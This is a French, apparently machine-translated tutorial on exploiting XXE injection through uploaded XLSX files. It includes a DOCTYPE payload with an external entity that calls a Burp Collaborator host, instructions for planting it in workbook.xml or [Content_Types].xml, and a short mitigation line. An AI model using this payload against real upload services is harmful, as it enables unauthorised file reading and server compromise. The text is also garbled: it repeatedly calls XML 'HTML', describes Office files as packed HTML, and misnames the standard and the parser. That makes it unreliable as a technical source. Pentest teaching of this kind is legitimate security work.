La vulnérabilité de l’entité externe HTML (XXE) réside dans le fait que la définition de ses propres entités HTML est autorisée lors de l’éparpillement d’une structure de document HTML appelée Document Type Definition (DTD). Selon le moteur de traitement HTML du côté serveur et la configuration de l’environnement, il est possible d’utiliser diversement ce type de vulnérabilité. En commençant par la liste des répertoires sur le système, en lisant les fichiers d’application et de système, en acquérant le mot de passe crypté de l’utilisateur de l’application, en transférant des fichiers sur le serveur ou en exécutant des commandes système.
Un scénario classique de ce type de vulnérabilité suppose qu’il s’agit d’une demande contenant dans son corps HTML, à laquelle nous assumons la partie responsable, des définitions de sa propre entité. Cette vulnérabilité, cependant, peut également se produire lorsque nous avons affaire à une application qui traite en quelque sorte les fichiers Excel . XLSX , Word . DOCX ou PowerPoint . PPTX. Nous devons que ce type de fichiers conformes à la norme OCV soit donc simplement plusieurs fichiers emballés. HTML.
Le scénario d’attaque rapide est le suivant :
- Créez un nouveau document vierge . XLSX. Il peut utiliser « Google Sheet » pour cela.
2. Ouvrez Burp Suite Professional -> Burp -> Burp Collaborator Client . Ensuite, cliquez sur le bouton « Copy to clipboard ». Dans mon cas, l’adresse du serveur était la suivante – lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.
Alternativement, si vous avez un externe IP, vous pouvez utiliser un serveur HTTP simple dans python – « python3 -m http.server 8080 ».
3. Ouvrez le fichier téléchargé avec 7zip.a.
3. Modifiez le fichier « workbook.xml » dans le répertoire « xl », en ajoutant le code ci-dessous (en échangeant bien sûr l’adresse du serveur par votre propre) :
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>
REMARQUE: dans l’une des applications que j’ai testées, la vulnérabilité XXE s’est révélée après avoir modifié « [Content_Types].xml », il vaut donc la peine de vérifier et ce fichier.
4. Enregistrez les modifications et téléchargez le fichier dans l’application testée.
5. Maintenant, vérifiez le client Collaborator s’il contient des demandes:
6. Profitez de 🙂 – vous venez de confirmer la vulnérabilité du XXE dans votre application testée et vous pouvez continuer à l’utiliser.
La protection contre le XXE est la désactivation totale du chargement des entités externes dans l’électronique HTML.